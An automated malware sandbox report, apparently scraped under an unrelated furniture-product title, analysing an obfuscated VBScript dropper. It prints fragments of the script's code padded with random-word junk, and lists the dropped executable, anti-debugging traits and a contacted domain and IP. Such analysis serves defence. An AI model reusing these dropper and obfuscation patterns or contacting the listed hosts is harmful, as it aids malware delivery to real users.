Gracie Oaks Catawissa 5 Drawer Gentleman's Chest

Incident Response

Risk Assessment

Evasive: Possibly tries to implement anti-virtualization techniques
Network Behavior: Contacts 1 domain and 1 host. View all details

MITRE ATT&CK™ Techniques Detection

This report has 4 indicators that were mapped to 7 attack techniques and 5 tactics. View all details

Additional Context

Related Sandbox Artifacts

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

External Systems
- Detected Suricata Alert
  
  details
  
  Signature details suppressed, as ETPro rules matched and display has been disabled. Please see the Emerging Threats section for more information.
  
  source
  
  Suricata Alerts
  
  relevance
  
  10/10
Unusual Characteristics
- References suspicious system modules
  
  details
  
  "tticising northupite chicagoans almondlike notate unpositive beambird cantered autocephaly Latinate immunosuppressant anthema superknowledge reinitiation Bovista core-baking haviors luciferous snouty nonspatially Jeffersonton fagotings Sugden Spirula Herwin half-severed Godin southrons suicidally tragediennes TINA mussalchee catchable effectiveness well-timed remaindership dignifiedly ailurophobic phaseolous dreepy jussives contoured hydrostatic topognosia bicyclers superfitting Magnitogorsk gumdrop emerying Elsass Pro-haitian tasse preregistering palace tatterdemalion Alette cide aerobious helplessnesses prejudicialness scanter nonbiliously pseudocoelomate spahee semiparallel trundle-tail Maskoi trihedron zoniferous Ante-mosaic vases sarcoseptum linksmith smutty-yellow sensive fabulate arbitrer cochleiform womanways bosons Tish unevasive brigands sanctuaried Linesville constitutive neon musico- truncately irrepetant metal undried ilth unscandalous Hasdai patrocliny algometrically erythroglucin Jamshid batist"
  
  source
  
  String
  
  relevance
  
  5/10
  
  ATT&CK ID
  
  T1215 (Show technique in the MITRE ATT&CK™ matrix)
- Script file shows a combination of malicious behavior
  
  details
  
  The script produces internet activity
  is obfuscated and drops files
  
  source
  
  Indicator Combinations
  
  relevance
  
  7/10

Anti-Reverse Engineering
- Possibly checks for known debuggers/analysis tools
  
  details
  
  "ihilated Afro- epithermal tallitoth superworldly perdifume Theresita Handelian diachronic noyade orichalc Labiatae tabler intrant hydrolyser phenomenona Multani monastics deliriate viscosity mangled Cowiche bosonic katipo archiphoneme Dodona Almach sceptredom stawsome hed fooder chevalets Zagut rediscipline unbaptize dingily welldone barn-brack pen-bearing woodknacker gauffred autoagglutinating adynamias panopticon perforce fidging peacebreaker fractur bloating exulcerating tractates reeject delible fala unlodge hepatodynia prenticed dicots optimises misfit Yirinec quasi-demanding sulphoborite nontubercularly leninists unseliness stages bousing isodynamia Hebraist producent Stizolobium sulfinide euryprognathous lecturee Circum-neptunian Ethelred rutherfordine undissenting lampflower untowardness cyclamens Launce fierte anti-Aristotelianism Kellnersville disboweled world-creating wheel-worn Quintina reputeless pimps nonconversationally attestant quasi-gallantly preconceptional roadmaster LOOM pretapes APS snow" (Indicator: "ntice")
  "um Bowring ganglionectomies untarnishedness upbraided reflecter twice-struck lauryl ovariocentesis pinkiness orthostat vasotocin Gluck lengthly superfrontal unharvested duadic discontentive fasciculite overate photocatalyst coequal unequilibrated rousement globulitic landreeve Magdalene whereinsoever cambio triradiation preconditioning consumptions spalled enthronization Prosopis posttracheal flatlets searchers deism plighters psaltry enhancing picarooned Giliane Timonium coedits outplotting susceptibility cudwort centiar Eagan functionals ruficornate colourational landlook intermediaries subatmospheric Susanchite gigantostracan hyalophyre undivisible uproariously dialysation airbrushed inorganically flashbulb scoad mottle reitbok unpleasant astr- Sard permittee pteropegum Monticello untastefully jobmaster cotenure probabl perspicuously identical microsurgery ablates inhomogeneous ditty-bag overcomplicated uncumbrous vexillology macroseism prandial ACGI undisprovable Ribaudo rehumanizing aerobacteriologist tr" (Indicator: "ntice")
  "m indistinctively caterpillars convenience priestcap Pycnodontidae Piasa cosmologic unenticeable untheatric fraternisation caverning warrants Australiana uncouch nightwalkers bastardize aerophagy reexploring Dianna elocular pupillometries Canthus coelostat dowdies press-mark globs Owlglass heterograft Isidro thick-swarming rusticator electrician Fraya Gesell interbbred gratitude befamine gussies work-and-whirl overprosperousness voluper kilter saturants achondritic nixing almique uninhibited sulfatic doghood splenoblast sexennium leucaethiopes Chiusi caff Nevski ingloriously sporo- well-starred Jesuitising VPF Mesena Clarksdale Alver nondiscerning thrawcrook misogallic busters chatterer Wausaukee mirkily pluricellular pot-valorous training Hebraise smooth-face Misniac Anagallis better-affected hammercloths battlefields Lezghian veratrize sensable Almond queasom Retiariae fruiteries ivory-handled disorganizes billethead peccadilloes consumable nephelite-tephrite unscabrousness plagosity axle-bending koromiko c" (Indicator: "ntice")
  "eyed chuted Spirochaetaceae Ceryx parahematin repellingly splenocele counter-tide plain-bodied neves decompensations bothies Un-englished melanger Tolu thermoform Kinde chromatocyte fornicatress shakinesses semainier convocant demorphism Herm misbranding machi cangler blipping antimoralist dosser nonelastically Latton lordosis Achilleid diamides ink-blurred nosepinch sapphics uncorks counterclassifications drageoir Kurr cinchonas superacknowledgment unwiliness longway filibranchiate parakilya nearable bughead milking fraughan recess insuccessful misleader kosha unholy atherogenic bird-dogged disconsideration nonvariousness take-down plushily Wykeham hexaplas Craryville hivelike clanless Ria evinces splurgy claw wormhole cashierment Mitchael dols bridals B.O.D. basibregmatic Kayibanda sociologized ragtimer hyperon Nicholson inviability low-level Kechumaran guardians Cashton steamerload prentice generical sacalait workpiece eucalyptic tenuiflorous Abnakis Kyurin Marfa foveated long-traveled emergent moonpath te" (Indicator: "ntice")
  "ygadenine lampooner desertless unmerciful prehandicapped unsteadfast myriare prentices Tubularida corruptibility gelees Joyann cheirosophy moon-fish Typhonian paraphrenic acetones iron-grated handsome Schwann preambular credently kinematics spicing trachelo-occipital untestate Reston southerland Brentt Ruella debellator pygmyism argyrythrose serology shorelines readhesion doublet oversecreted reside Thielavia hydromechanics Aulander Madrepora Pudendas orthosymmetrically Surtr nonabsorbency Vasa wavy equisetic Papsukai predefinition candling Tankoos eutrophies gemminess re-engrave vestiarium three-bearded supratropical agminated reallocations unhabited overscare weighmaster Highlandman interadditive undecorous alfalfas alizarins sclerotin hists dedenda subtransversally Sintoist misproposal streamlining selenosis gossipmongering poor-do leafbird salver Cubero frank-law back-pedalled Buckhannon dispractice ekphorize rebalancing Sloan post-signer orchen caramelizing blastozooid gradations cauking celioparacentesi" (Indicator: "ntice")
  "s reapparel flowingness advocatrice feynesses hay-rick overassertiveness pleurocarp vesiculobronchial pointille poulpe tonearms inductivity chamal batzen Zel barrico hoodmen offensivenesses rumbles Bertha Tardigrada Midi-Pyrn trinkets scotomatical usu triennium somniloquence profascism deoppilation chicken-toed prudentially traditionaries Celotex antimysticism lenticels clinger peridesmium unbrooch talk frailness progeneration spinulosely ethid Semi-dutch Wendy Yeisk V6 claudetites gastrulated Japanesy endable impart suppositionally pancreatoduodenectomy amygdules quintupling jewing tarzans plausibleness superintellectually Leal thaumaturgical othertimes drearisomeness spasmatic razor-bill Cochranton buoy unapproximately nappishness NWLB campaigner ghosty octonarian spectroscopical reascendent coredeeming chittamwood Alysa ament armorist notarially rayage broll awalim helicons sauterne vanadate inadmissibility cochampions imprinting nosopoetic atlantal amassment hyperbatbata towser parador Gawra table-shaped" (Indicator: "ntice")
  "tingly tachistes pasquinades Glaucomys calendal diphenyl flowmanostat dragger-up hierarchising outback disgaveled nonradiative dermatozoonosis glaireous jelske tibialis franklins Verdon rabiator Brinktown trencherwoman mnemonist chevachie spondean fledgeless synthol PTA superattraction veterinary lepidine unpedantical Stenocarpus pericystitis triadisms hele underprentice sextettes Xanthidium evection exergue electromobilism quasi-realistically hyperopes precertifying initiatives Brazoria Broadview leery wintriest unforked domestications ripal orchectomy quenselite interpervading outcurse spumiferous underoverlooker nonsensate backbit shellmen piecemaker dopiness grimmer nidation tankka pyrotechnics trimyristate ADIZ pokeroot antedates schizostely unoratorically checkerberry similarly Agape fanegas outstartling epizoology dreads baseheartedness Pristis peptizers greatening cushion crunch Akeylah scopet abysss quarreled containedly gaze-hound counter-extension Kosak taririnic tamasha launchers nonjudiciable car" (Indicator: "ntice")
  "toVVFJXcTIwZvczgpioidEKZynBc=Log(JztuzXKhdMJEHiqBPtVtHAXEBPVLPQIG)
  'jammer polyphyllous wittingite xyphoid envoi slender-finned tangile Pendroy slud centred Feucht campground yttrogummite trypographic jinniwink differently resolicit semiaridity polygenetically ignite afterpain wheel-backed synopsise afterdeath coctile overexpenditure noematachometer inequity plagiarisms unsoporific timberman strut provaccinist grating tonier bran-deer tillages split-mouth left-eyedness bilicyanin ommatidium tar-roofed Cabanis dowers cheekbones alumish collaborates Post-Impressionism taffety zincography marhala pentatone canopies Feramorz Euromart swine-cote Sumer sybarism oscurrantist draggier time-authorized inherit screecher underprentice homaging home-fed plumbago carrageenan superstitious rinsed Cnidia non-co-ordination odontohyperesthesia sunburned Axminster laxate carses incaged indurations stoppled Miki arna subantichrist Stovall gasses tumoral precariousness airway atma Fausta reacclimate true-devoted canaliculation" (Indicator: "ntice")
  "dicarboxylic schistosomiasis pouser nonfictionally vainglory adulce stealability semidelight vindex patenting telacoustic tankmaker Kobarid fishwife apostatic unswarming Roszak ultraobscure linguatuline hyalophagia idolomancy protectingly viatometer turretless lanais surmisable mononuclear nontheologically giarra Rapallo cn- mouille anticeremoniously Xiphosuridae captivance overalcoholized perielesis infecter gumhar sandastra inquietudes four-hand akroasis Jacobitiana deadlines urethane morassweed angule parmelioid inundation Stheneboea sebaceous dependability cumin hornfair misguise nonregenerate whisterpoop Timaeus nonconsummation Dorobo Cadiz Burmannia nitrometric thewness repasts throned curiality chopping couturiers antitype skag commensurableness Lehighton shortener Chesna kailyarder sleazily maladresse naphthalenic cambers arts cinemagoers unmocking witnessers Basia xanthite taxiways soothe imperdible barretries Peugia pheasants-eyes drumbling increative downier Aggappe selenio- hallion Leonardsville" (Indicator: "ntice")
  "ipovaccine sublimize drawbore soldanel credulous twice-fined semireticulate mycorrhizic Wyckoff stepchildren Anjanette Phalacrocoracidae forebroads superial feudalized Myrianida expeditiousness hypoionian perpetrator orbited galvanologist quasi-recently acoustico- cusps proaward oraculum disattaint demyship misconstruable scale-board arecolidin bipacks Pukhtun salivating clamourous carbolise transfuge FTG noreast inuredness moribundity Zildjian anthropological prices flagstones BMEWS rescuers chastities grenadiership autoscopy unchastised formyl even-set flockowner hold-off cantingly Thonga tailrace stoundmeal fireroom Pentress Greco-oriental hematopoietic gentleman-cadet Theravadin removing Larner decoder perpetrable two-cycle coexecutrix bowl-shaped estoile lipophore bacteriocidal freedoot Seekonk castrated nerver vocalisms incumbant reshare recontemplated cranes unsuspecting sociolinguistic peridendritic absurd interparenthetically dyotheism goblinize push-button Pilsen foreclosures enticeable half-year au" (Indicator: "ntice")
  "confab ponticello doubtmonger twenty-mesh Pheidippides uneffectual archdolt megalo- wheelless Coshocton warts walloping untoughness Baram sugarer Burberries dropwise mischanceful violists blanketlike hemogastric toparchies stockade storm-felled Aubree feelies applyment sconcer Smithian IRE lowrider radiotherapeutic russetlike pretreatment insurrectionize superphysicposing enterritoriality dissension undisciplined kouza wrenches rastled weightlessly torn Stander bestowed nonsynodical unprejudicated barbasco pomaces Giess recomposing Tartar-nosed Kiselevsk tinseling exactable bibliothque youngness eluent commixtion semitonally pilies playmates woons gaurs surfacing inarticulately bin hairinesses Capsian apathistical realtors Claudina hydrotomy sectist musterdevillers jobber Tapley water-waved drainpipes beruffled abiders cold-short periovular moonack interganglionic punkin Mathian utopographer unaccompanying circumfused Merycoidodontidae Francic inharmonious sylvite whauve Poblacht leke ondascope Asaphus anthe" (Indicator: "ntice")
  "uraemic nonrestricting orangeberry chayroot unwilted wellstead uncadenced streusels pellicles floripondio urradhus gighe autonomist Kerman pockety prenticed Wadley carvings diencephala Reimarus balche gammerel osmazomatic turnover malthouse goer-by wing-tip swellmobsman gallinuline Colpoda dyarchies unimolecular seallike whirled unpremeditatedly headclothes Indra complementizer ref overattentiveness Malamut absorpt inactivities exchangeable disassociated inexpiably Oruntha mulligrubs xylan precipitatedly spency muliebrous whatreck nonmicroscopic exterrestrial Indo-african laborage presatisfy telescoping unrancorous nonrecitative lamp-oil Afroasiatic mochila brown-nosing Earline Leptosyne interinfluencing vaselet nonfallaciousness redefying unbethought Phalaenidae unbrooch unbrined scirenga monograms warm farmers-general dividers chemisorption ALFA metallorganic Offa Hindustani gasket kuruma whitecorn curly-pated endocardial pitapatting convictment unarisen blastful thunderless challenges cholelithotrity late" (Indicator: "ntice")
  "rm-eating erose puslike lightship accoutrement birn holoptychian Addam apprentice mindedly personarum storier fricassee arteri- Llanberisslate caliculi telencephalic grapestalk downlying mezo petiolus ferulae distractile poor-feeding bedown plouky unlent paradiddle Pros Entre-Deux-Mers phrontisterion aggravating Ninurta Zobkiw supergratified enhaloed Italo-hellenic uninstructive mayhap inkblot aiguelle nonfamilies catabasis flowage bodenbenderite uphelm reconcession alectryomachy shockedness protransubstantiation re-proof desulfurised turmoiler cuculla Pandanaceae luge rusticoat Malcolm metachrosis quaint-worded logography plutoniums prechoice jelly eclipsareon beshadowed Hazelwood chrysophane Caball poems chromonemal fat-paunched propinque bursiculate concertiser gorilla Erava Chevrotin Coccidae unimpregnate disharmonical drop-shaped self-poisedness echini supernecessities tenuirostrate heynne deaminization Hindustani roadsters affirmingly suspection sulcar innominables well-accredited photograph vilipender" (Indicator: "ntice")
  "batule nesslerization Greenbelt carbamyls misbestows Ossianism thorntail infamonize trispermous enticement stainlessness all-fired passemezzo recompensation offtake unpoeticized avulsing figbird quasi-prophetical intermediaries generics soorkee overslaughing noncontumaciously law-hand worse-faring Cham denay doglegs TWX graters shopkeepers semitonally reetam parotis Cheilanthes muselessness stout-stomached Burk surview swived outname unobnoxious definitization rubidic gnaws sphaerospore Garner incirclet unare pentapody Arauan McLean Khosrow civilizational layering disbursements metecorn spadillo Q.E.D. Kaczmarczyk incapable eve-jar anarchosyndicalist stainers Kramer impotionate Lithodes boulework whare-wananga uropygium underutilization tuppence jackknifes oversentimentalize mesmeric cravatted urethroscopy Rusel uneatableness Mannerist tendonitis anisoiconia interproximal hypothenar fluorocarbons albopruinose reanvil curares wirelessly inducted caesuric self-parricide deflectometer causeuse gimps drawshave h" (Indicator: "ntice")
  "r ply stearin Piro zygomaticomaxillary rebaptize therearound hematinometer otocranic dishonorable bashfully corespondents high-seated Melisande amenuse forz Bedouinism CMA lupicide enfuddle Granollers openhead truncheoner broiderer concentrative latemost protocaseose overmitigate Pro-roman Borel bombo Notropis remast scarf-skin Collette dehortatory blanches beboppers jackstock sidetracking unpreventableness unhilly nonfortuitous thirty-two ovocyte shallowest medicozoologic remembered Thorwald regulatris imputrescence anticeremonialism reversion humiliative latchkey supervisorial auditives Avenel leptospirae humiliator preconform umps enigmaticalness whitelike Moresque millionairess Mateusz ostrei- ill-judged retinopathy Botnick chapournetted westernization Aglaia scorepads denominationally codetermination hush-hush octavaria Nayarita blastemata milkhouse generals superincrease scarphed dumbfish agonised AmerSp Lewert dacryocystoptosis cholelithotrity rush-girt pyrocellulose Helli affirm repicture cork-boring" (Indicator: "ntice")
  "mic tubehead pterin Teresa wielare stepped-up Salambria tallow-pale Vandalic etiquettical retraversed Zend washbasin primiparous unsigmatic refer chamberleted veallike testy casteless long-playing Donaana casula Harry unuxoriously gammons relosing Barcoo zagging subcancellate Fransis colicky cratemaker Charybdian vestige nonorthogonality running-birch demagnetize cooingly outtelling Darelle Laplace unsumptuously louvers flamencos enshrine humulon effetmen thickener reframing re-emit unclean remunerativenesses squealers plaintful chicaneries orthian despairingly cimnel chophouses hyponoetic organity general-purpose ladings quasi-gallant pugree microtubular pulsimeter copals deep-going Chionis tardy Syrianism alchymies tetrabasic polianite nondiagrammatic preunderstanding yellow-rooted nonconcentrative apprenticeship untighten pelike glory-of-the-snow defectibility spicose Holocephala methylpentoses postponed pushily indigitate Awan vowess irreverendly receptaculum closed-minded slouchers cacodoxical autolavage" (Indicator: "ntice")
  "potbellied bornane unmyopic pseudoerysipelatous Chilomastix underchord Gheen melanaemic Bergstein yugada avoiders helicorubin saltation transportationist lallygagging wapata noncredent pathogermic gallivorous saleratus ticklely mispoising Hermetic dashplate nonimpacted Phoenicis oculomotor oxalacetic vermin-ridden formylal nonsecluded bipyridine whigmaleeries tussling barrelled rhema umbelluliferous scampish psalming Lavern molybdite chariotry miszone visceropleural somehow shatterer cowitch blubberman vinestalk Janik ponticellos primps ergotoxine solenogaster ciliium antihydropin besugo nonimaginary Valadon Crockett anthropophagic iridectomized phthalate parlayers disbowel LA peracetic Uticas bostonians Nuits-Saint-Georges oarhole Mohammedist malarky suffrain kahawai affeerment half-demented Erytheis Scottown weepable joking-relative dorper paradoxes centripetency undercanopy Palluites ngana beknots penetrometer prohibit minutely perhorresce classicistic aerosiderite minuting Wallawalla bowering aphetize pur" (Indicator: "ntice")
  "habetism undamnified pyrenodeine dormitive myelomatosis professionalism pitlike MLS shortsome Peromedusae lordlings staigs Kaunda mendacious cienaga pentadrachma bobber enhaloed kirtled inostensibly advertisings NUR gargety probands wah reaccustoming chenevixite blotchy charabancer clocklike collections laryngoparalysis tin-tabled subtasking azulmic twice-bent Thaddus incapacity undercause Canens snow-encircled Massalia sick-nursish antiagglutination Thermit ignatias gliadins resell menially reciproque liquidating mystacinous gamone double-seater peopledom tofter drunker diacromyodian cusps tuik demential asamblea Advaita lekane ismy Ellery polypeptide leglike misshood apprenticehood maremmese polyhedral gnathonism nonimpulsive nyctalgia washing-up undecency subunit unveils slow-tongued Elaeodendron denier antonovics bathtubs seacoast Townie Golanka Euboean hells colophane Lysander homocline crayer faldworth whammy cross-staff horoscopical Orthopoda villota discoid cypre Vandervelde Brahmanize truss-bound all" (Indicator: "ntice")
  "'unprobable retrograde vitalises twice-silenced Oktaha attics unensouled mujtahid evacuants revisitant seducingly calyptoblastic cosmolabe teazel bromoil Kylie uppropped microsporophore foraminose stethoscopically rancidly chankings tindery Dragoon baritonal wyles ventralward Obara awreck hydrotimetric epicarpal solidungulate irascible anabaptizing magneto repulsions iron-tree RP godmothers windjammer weather-hardened marls Marcgravia Bhikshu incriminate sapr- prepromised forpine turtosa unvoracious probably skunkweed Karilynn nonimpatience Scio keratotomies self-admirer ruin-heaped tetradic epistoler tracheotomize bizarrely Vidian punkiest restlessly Uigur entice tendrac Scolopendrium prewash voicelessly shoe-make reflectibility Crookes recompress sebific sowel wammus pioneers rehair epilegomenon lye sublimes caliche yearful photolithography Adad defeasive overbound peages self-conviction stereotapes Deth vorage ferrugo Citellus underplotter hemophagous flukey Penman palatial anapaganize Godewyn romyko fort" (Indicator: "ntice")
  "led encompasser Bartholdi kabalas fatigue supereffluence contrivances hillbillies Jussieuan naked-bladed versets formfitting seventeenth Haldanite diagrammatically trachytic orthocenter Chloette candelabra headly Huntington CIF unlibelous Vercingetorix unenticeable critiquing may-dew stafette encipherment Priscianist opiners furcule tree-shaded Browningesque aneurismal supersolicit pie-gow quateron heliographical discerning carryover disfrancnise subpatellar larikin unked Cupids-dart mollicrush amphicarpogenous oakenshaw agalactous iodoform muircock intercorrelating single-pass subcompensation uteropexia anthotropism Shilh Ceratitis connexivum Anthyllis congruous elementaloid buggered Pselaphidae Arctosis madworts overwelt burnouses elves cantatas semicursive executry dinnerly undivisiveness Nemathelmia pre-Moslem working-out describers sodaclase disattaint threshed sophisticate Sapir microphthalmia Tracey adorations thankful aminomalonic quick-speaking pit-blackness pulmonal outvoiced Mayoruna stoled Dardane" (Indicator: "ntice")
  
  source
  
  String
  
  relevance
  
  2/10
Environment Awareness
- Possibly tries to implement anti-virtualization techniques
  
  details
  
  "d tuchunism Britte quasi-invisibly Nehawka examinership double-concave
  Dim cJmDsxjiPUpplNCQEmuhSOpgAx" (Indicator: "qemu")
  "wing viscosimetric jowlish chemick sinistrocularity dug-up lizardlike adjudge benote appreve isocola fancy-stung inelastically JFET lexical vergi embracing sylphidine Anderegg neobotany utero- telotroch coextending outbarring diplasion ptisan interstates Hambley weevily immigrated gastrologer humidifiers considerableness dephosphorize polyurethan ivory-towerish axillar Lilo Curtana underalderman blitzkriegs lauroyl ovendry twice-staged paukpan trichinise Donia
  Set cJmDsxjiPUpplNCQEmuhSOpgAx=CreateObject(nyLiajoWHoKTGdPaZLibZycPymdUMQI)
  'Artair heterocercal dackers drugshop semisagittate adolescents Hovercraft earthworms nitos cionocranian unstilted flyaway Lombardy Zaphetic Bainbridge ethically mothy bombastical outroll epilimnia rows declaimed progressing therell actualizes wigwag warm-backed mouldwarp infra-auricular semi-independently trippler prevegetation oceanologic Dilolo faller unvintaged Listerian coiture lugger pseudocumenyl kavika auntre revisor poisure onomatopoetic reinfiltrated allothigene Curc" (Indicator: "qemu")
  "ossoms OConnor oudenodont psychurgy strait-clothed tumescence countenancing supersignificant PPT uplifting justiciar recensure beefalos miscarries absurds delieret Tristas civilizationally splenoma friezed untouched Holarctic Amoebobacterieae arizonans soupcons reboiler retransformation flamberg tetrameral familic brokes athetizing Soumaintrin first-mortgage discontinued semivisible twenties credenza Alep brevetcies covin-tree inclementness outtraded genders epichordal coremium unsore intrathoracic bizarreness FHST telecaster scrivening cushier overtasked avicide portals amenorrhoea Rotan unpuffed previdence cobbs forebows homeward-bounder rebetray unagreeably tonner Americomania stick-in-the-mud entosternite sound-winded fourth-born cipollino devolatilized Charonic bediaper pumicers cyphella biophor clattering
  jcjWXZRlEPJfiJrkHdmFEGu=Exp(FnOERKQmrbtGBItyDjPxPWIT)
  cJmDsxjiPUpplNCQEmuhSOpgAx.Type=sJoXkGOMEeJhlhVXoaACiwUbyN" (Indicator: "qemu")
  "izing consimilated gynecratic antimusically predivider interblended philabeg subfigure unobservantly linage bomber interisland cockshut manitus tan-skinned cymotrichy airbrick LOOPS vigorist shuck-bottom Puinavian misput bluish-green curialism afterdeath propons dhan libelously heteropathy arteried sarrusophone diapasm unrippling Christdom
  cJmDsxjiPUpplNCQEmuhSOpgAx.open
  'unvoraciously anthrahydroquinone pacificity creepmouse phytographist predetainer hammy toter episcleritis Valtin hazarder pyrolyze jawed repercuss dreadnought aeons Patarin steer pauper-fed neo-orthodoxy language intertransformability purposer noncommercial Brahman nephrogenetic proud-crested cold-bloodedly Woodbridge abjudication Acutilinguae Mano antimoral flamefish autoinoculable silversmithing warranted upstamp evil-favored overdyeing unpenanced molosse dominances Shriver antipestilent dachshunde fresh-leaved quartermaster wheelabrate plague-spot diascopy panjandrum Clathraceae pasquiler tachyhydrite ichthyisms scolopendriform unextrava" (Indicator: "qemu")
  "self-exultation photosensitizing terpodion intonement refeed postdiluvial fast-dye unjudicious ignavia annerodite discernment astonishes lancer Joerg flecklessly synthetize lambastes masturbates telemetrograph noncasuistical alanins ketway genitor eighthes antivenine pisky babyhoods Middleburgh samples aero-otitis land-rat Teloogoo pinesap estoppage encyclic Shiri ox-tongue Hungarian tention arakawaite untasted promemorial skunktop congratulating Pinelli cotised reaccent chapelgoer penaria Lutrinae ABFM set-upness two-word foremastman arrenotokous spouseless Culiac unforded firmland tig bridegrooms unmechanical defet chinfest premierjus myelins gallowsness peckage cunctatury Eliason campestral firmamental hoteldom testees unremanded
  cJmDsxjiPUpplNCQEmuhSOpgAx.write SOntfiMATNfTbNCiXVUjuIgvFJ
  TgOffwvZhASmuRUNIfvsouGIVRU=oDSSRuKxnDKHkseHNWttEvLL+rRALBzYqIZFZihfzPUakcUFr" (Indicator: "qemu")
  "tion overofficiousness inharmoniously falcate ouabains pronghorns Mayce photoheliograph neomedievalism terminer Marksville supraconductor slogged breaststrokes Pedrell panoramist irretrievable fritillaries ageing quasi-scientific unsurrounded licente unbigamous unions lustful whereat Oudemian
  cJmDsxjiPUpplNCQEmuhSOpgAx.position=0
  rRALBzYqIZFZihfzPUakcUFr=FnOERKQmrbtGBItyDjPxPWIT-jcjWXZRlEPJfiJrkHdmFEGu" (Indicator: "qemu")
  "s coagulators skegger prealluding autophytograph blow-by-blow colacobiosis collar-bone sulphurously dehydrogenase diagraphs melanization kited dispiteously subdiaphragmatically assizement nonrespectably tag-marking passifloraceous trenail blurs pseudofaithful ascocarps soul-stirring round-lobed jubilatory spinwriter Tathata commingles airline course achromatized unsatisfiable libitum Fedora menarcheal cerasein Davin sashery aulostomid
  cJmDsxjiPUpplNCQEmuhSOpgAx.type=FRQqTEskOrvZDESNYDPgrFVFtwiAUyC'aftergrind platiniferous smug-looking buttressless occupations predaceousness midshipmite tubehead Benes Thisbe anti-Irish cakiest domiciling Gunz macedoine presager climatographical kifs omander new-rich counterbend Karharbari allotypy swinging interconnected tail-tied part-earned enwrought gazaboes deludes crenelate aveny casements Apolloship somnambulous pistils unappalling whaling bruisingly rockman Kazantzakis purveyancer overcensoriousness Carilla exendospermous brawler reendowment nonviscid expiatist Roark c" (Indicator: "qemu")
  "ossic globulinuria blahs blandly hydroquinine unbearably rachicentesis stylishness irresolutions psychologizing encrease gastrulae surenesses sanitarily Rigelian Crucibulum unexpedited froeman Julissa overcurrency clinia copple-crowned unleft minxishness clipsome instructs rimiform interface Washingtonville intertill isoagglutinogen Post-devonian marsupialized revised external-combustion casuals sulfamerazine mythogeneses chirping lipping woundability de-escalation Alascan exemplupla tuggers etude Crowville Blunt predecline osphyocele trademark diacrisis decarnate outflows
  cJmDsxjiPUpplNCQEmuhSOpgAx.CharSet="us-ascii"'supercoincidence seaminess topazolite hemopod apophyllous keratoconus subpeduncled proczarist reviolate Anisopoda ocuby seismograms Ault approachable star-climbing tympanomalleal bisti shoescraper amusing Kataway cybernating Abrahamic unadvisedly fractionize micropolarization Crypto-calvinist malignantly sharksucker Strathmere passiveness paleoclimatic contrite bathroom quinquereme pale-livered" (Indicator: "qemu")
  "latopharyngeal nondisbursement anadenia Maxy TLM surgeons Boebera Theola conducta bindingness philopena abubble quietudes diaphysis lordless packtrain
  PkFUJfxfHDFiReaxxDnz=cJmDsxjiPUpplNCQEmuhSOpgAx.ReadText
  'mock-bird finick Lovmilla hot-cold aprowl tracheloplasty dramatist athanasy decerning perbend croakiness Hums subjectdom convergencies zymosthenic radicicolous chequeen stauncher tophaceous redealt intagliated ripsnorting lops dortiship antonyms orthoscope dhal deadheaded Haikh armory crosstail devil-may-care effumability nucleohyaloplasma Laine dehonestation withtee chieftainess crozing caracoli Portia Dualmutef foremessenger slimsiest colophany overraking RSCS Mobius winterbourne Ignatzia biassed misevent plumetis Depauville lancewood superrefine unshot underbasal basipodite preengages Vulcanic Sphenisci uncredited interanimate presignaled OSME Heraclitical halts peroneus redivert chemosensitivities discharged wingmanship stubble-fed overbigness tergites assassinated sneezier world-raising Visayans un" (Indicator: "qemu")
  "zzlers birled dissaves polaritys builded toxology praesens axonic Michaeu Nicomachean myelographic quinamicin dust-laden mesosuchian superableness brachiofaciolingual unagriculturally ferrugo Acolhuan Copeville forthbringer dollier bobbers cymation quodlibetical contour Kissinger troglodytical tins extruders tolerantism nonundergraduate tostication discerners acrocephaly
  Set cJmDsxjiPUpplNCQEmuhSOpgAx=Nothing" (Indicator: "qemu")
  "Dim cJmDsxjiPUpplNCQEmuhSOpgAx" (Indicator: "qemu")
  "Set cJmDsxjiPUpplNCQEmuhSOpgAx=CreateObject(nyLiajoWHoKTGdPaZLibZycPymdUMQI)" (Indicator: "qemu")
  "cJmDsxjiPUpplNCQEmuhSOpgAx.Type=sJoXkGOMEeJhlhVXoaACiwUbyN" (Indicator: "qemu")
  "cJmDsxjiPUpplNCQEmuhSOpgAx.open" (Indicator: "qemu")
  "cJmDsxjiPUpplNCQEmuhSOpgAx.write SOntfiMATNfTbNCiXVUjuIgvFJ" (Indicator: "qemu")
  "cJmDsxjiPUpplNCQEmuhSOpgAx.position=0" (Indicator: "qemu")
  "PkFUJfxfHDFiReaxxDnz=cJmDsxjiPUpplNCQEmuhSOpgAx.ReadText" (Indicator: "qemu")
  "Set cJmDsxjiPUpplNCQEmuhSOpgAx=Nothing" (Indicator: "qemu")
  
  source
  
  String
  
  relevance
  
  4/10
General
- The analysis extracted a file that was identified as malicious
  
  details
  
  21/72 Antivirus vendors marked dropped file "TableOfColors.exe" as malicious (classified as "Gen:NN.ZexaF.34090" with 29% detection rate)
  
  source
  
  Extracted File
  
  relevance
  
  10/10
Installation/Persistance
- Executes a visual basic script
  
  details
  
  Process "wscript.exe" with commandline ""C:\MSG_308152.vbs"" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  10/10
- Loads the task scheduler COM API
  
  details
  
  "wscript.exe" loaded module "%WINDIR%\System32\taskschd.dll" at 00680000
  "wscript.exe" loaded module "%WINDIR%\System32\taskschd.dll" at FAD20000
  
  source
  
  Loaded Module
  
  relevance
  
  5/10
  
  ATT&CK ID
  
  T1168 (Show technique in the MITRE ATT&CK™ matrix)
Network Related
- Sends traffic on typical HTTP outbound port, but without HTTP header
  
  details
  
  TCP traffic to 104.154.229.109 on port 80 is sent without HTTP header
  
  source
  
  Network Traffic
  
  relevance
  
  5/10

Anti-Reverse Engineering
- Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
  
  details
  
  "wscript.exe" is allocating memory with PAGE_GUARD access rights
  
  source
  
  API Call
  
  relevance
  
  10/10
External Systems
- Detected Suricata Alert
  
  details
  
  Detected alert "ET INFO EXE - Served Attached HTTP" (SID: 2014520, Rev: 6, Severity: 3) categorized as "Misc activity"
  
  source
  
  Suricata Alerts
  
  relevance
  
  10/10
General
- Contacts domains
  
  details
  
  "b.kitchencabinetryprofessionals.com"
  
  source
  
  Network Traffic
  
  relevance
  
  1/10
- Contacts server
  
  details
  
  "104.154.229.109:80"
  
  source
  
  Network Traffic
  
  relevance
  
  1/10
- Creates a writable file in a temporary directory
  
  details
  
  "wscript.exe" created file "%TEMP%\TableOfColors.exe"
  
  source
  
  API Call
  
  relevance
  
  1/10
- Loads the .NET runtime environment
  
  details
  
